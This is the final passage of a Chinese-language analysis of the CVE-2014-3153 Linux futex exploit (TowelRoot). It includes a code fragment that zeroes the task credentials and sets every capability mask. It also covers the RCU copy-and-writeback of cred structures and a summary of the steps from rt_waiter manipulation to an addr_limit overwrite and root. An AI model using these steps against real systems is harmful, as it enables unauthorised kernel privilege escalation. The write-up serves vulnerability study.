1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 | credbuf.uid = 0; credbuf.gid = 0; credbuf.suid = 0; credbuf.sgid = 0; credbuf.euid = 0; credbuf.egid = 0; credbuf.fsuid = 0; credbuf.fsgid = 0; credbuf.cap_inheritable.cap[0] = 0xffffffff; credbuf.cap_inheritable.cap[1] = 0xffffffff; credbuf.cap_permitted.cap[0] = 0xffffffff; credbuf.cap_permitted.cap[1] = 0xffffffff; credbuf.cap_effective.cap[0] = 0xffffffff; credbuf.cap_effective.cap[1] = 0xffffffff; credbuf.cap_bset.cap[0] = 0xffffffff; credbuf.cap_bset.cap[1] = 0xffffffff; securitybuf.osid = 1; securitybuf.sid = 1; taskbuf.pid = 1; |
这些数据的查找过程就是从task_struct -> cred -> secutiry。由于不同平台,他们的task_struct,cred及security可能不一样,所以不应该直接按照一种结构的定义直接去调用相 应的成员,而是采用遍历查找的方式更具有可移植性。这里在修改这些数据的时候,有一个问题,cred是随时可能被内核调用的重要的结构体,它采用了RCU 同步机制。也就是说我们要修改cred及secutiry,都需要先COPY出来一个副本buf,在副本上进行修改,然后再将buf写回去。
1 2 | const struct cred __rcu *real_cred; /* objective and real subjective task credentials (COW) */ const struct cred __rcu *cred; /* effective (overridable) subjective task credentials (COW) */ |
至此,我们的提权就完成了。接下来就可以在线程A中执行任意命令了。
四 总结
本文分析了CVE2014-3153漏洞利用的详细过程及原理。主要过程如下:
- 提出Futex的漏洞形成原因,对存在的relock漏洞和requeue漏洞进行验证分析;
- 提出了漏洞的利用途径5步曲,最终获得一个悬停在栈上的没有owner的rt_waiter,得到漏洞利用的关键,并给出了漏洞验证的PoC;
- 简单介绍了栈重用与链表利用的背景知识;
- 根据一个链接在rt_mutex上的rt_waiter,以及sendmmsg,将这个rt_waiter改写,指向我们的共享空间(用户空间),构建一个完全可控的fake_node;
- 利用泄漏的rt_waiter的地址,进一步获取内核栈以及thread_info,最后获得关键数据addr_limit的地址;
- 通过循环创建rt_waiter,并将其地址写入addr_limit中,直到我们可以写入addr_limit为止,将0xffffffff写入addr_limit,从而开启对内核的任意修改;
- 向task_struct中写入必要的提权数据,完成提权。
这其中最为关键的部分就是futex漏洞利用以及通过rt_waiter实现对内核的任意修改。理解本文的关键是要对Linux内核的数据结构有一定的了 解,尤其的futex和plist。阅读本文的时候,最好是有一份Linux内核源码在手,不过内核源码非常庞大,推荐使用Source Insight工具进行内核源码阅读。同时调试技术也是理解本文的重要手段。
最后要感谢TowelRoot的作者Geohot,写出了如此精妙的软件,还要感谢xisigr和冷风对此文章的支持及宝贵意见。